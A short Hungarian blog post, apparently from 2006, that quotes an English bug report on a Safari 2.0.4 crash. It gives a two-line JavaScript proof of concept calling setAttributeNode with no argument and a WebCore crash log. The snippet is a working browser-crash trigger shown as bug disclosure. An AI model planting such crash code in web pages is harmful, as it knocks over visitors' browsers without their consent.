Sajnos a Safari akármennyire is szabvány követő meg jó, ahogy egyre többen tesztelnek alatta egyre több olyan dolog jön ki rajta ami összeomlasztja. Meg kell jegyeznem, hogy én átlagos böngészés során nem szoktam összeomlasztani, de ez a mostani dolog (és Czo féle Documentum.write szívások) valóban igazak. Akkor nézzük a bugot:

The following bug was tested on the latest version of Safari ( 2.0.4 / 419.3) on a fully-patched Mac OS X (10.4.7 – Build 8J135) system. This bug was discovered by Dennis Cox using a modified version of the Hamachi test. This bug does not trigger using the Konqueror KHTML/KJS engine included with KDE 3.5.1, even though these products share code.

var a = document.createElement(“a”);
a.setAttributeNode();

Demonstration

Exception: EXC_BAD_ACCESS (0x0001)
Codes: KERN_PROTECTION_FAILURE (0x0002) at 0x0000000c

Thread 0 Crashed:
0 com.apple.WebCore DOM::NamedAttrMapImpl::setNamedItem()
1 com.apple.WebCore DOM::Element::setAttributeNodeNS()
2 com.apple.WebCore DOM::Element::setAttributeNode()